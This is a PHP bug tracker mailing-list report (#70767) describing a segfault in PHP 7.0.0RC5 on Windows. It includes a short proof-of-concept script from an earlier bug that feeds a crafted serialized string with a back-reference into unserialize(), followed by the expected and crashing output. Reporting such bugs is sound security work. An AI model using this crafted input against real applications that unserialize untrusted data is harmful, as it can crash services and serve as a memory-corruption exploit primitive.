Bug #70767 [NEW]: crash after script execution

From: Date: Thu, 22 Oct 2015 12:01:50 +0000
Subject: Bug #70767 [NEW]: crash after script execution
Groups: php.bugs 
Request: Send a blank email to php-bugs+get-196741@lists.php.net to get a copy of this message
From: liska at avast dot com Operating system: windows 7 64-bit PHP version: 7.0.0RC5 Package: Reproducible crash Bug Type: Bug Bug description:crash after script execution Description: ------------ First PoC script from #70172 causes segfault in the middle of the dump. I'm using php-7.0.0RC5-Win32-VC14-x64 thread safe. Test script: --------------- class obj implements Serializable { private $data; public function serialize() { return serialize($this->data); } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi' . $i; } var_dump($data); Expected result: ---------------- produced by PHP 5.6.14 that contains fix to #70172 array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> array(0) { } } Actual result: -------------- array(2) { [0]=> Segmentation fault -- Edit bug report at https://bugs.php.net/bug.php?id=70767&edit=1 -- Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=70767&r=trysnapshot54 Try a snapshot (PHP 5.5): https://bugs.php.net/fix.php?id=70767&r=trysnapshot55 Try a snapshot (trunk): https://bugs.php.net/fix.php?id=70767&r=trysnapshottrunk Fixed in SVN: https://bugs.php.net/fix.php?id=70767&r=fixed Fixed in release: https://bugs.php.net/fix.php?id=70767&r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=70767&r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=70767&r=needscript Try newer version: https://bugs.php.net/fix.php?id=70767&r=oldversion Not developer issue: https://bugs.php.net/fix.php?id=70767&r=support Expected behavior: https://bugs.php.net/fix.php?id=70767&r=notwrong Not enough info: https://bugs.php.net/fix.php?id=70767&r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=70767&r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=70767&r=globals PHP 4 support discontinued: https://bugs.php.net/fix.php?id=70767&r=php4 Daylight Savings: https://bugs.php.net/fix.php?id=70767&r=dst IIS Stability: https://bugs.php.net/fix.php?id=70767&r=isapi Install GNU Sed: https://bugs.php.net/fix.php?id=70767&r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=70767&r=float No Zend Extensions: https://bugs.php.net/fix.php?id=70767&r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=70767&r=mysqlcfg

« previous php.bugs (#196741) next »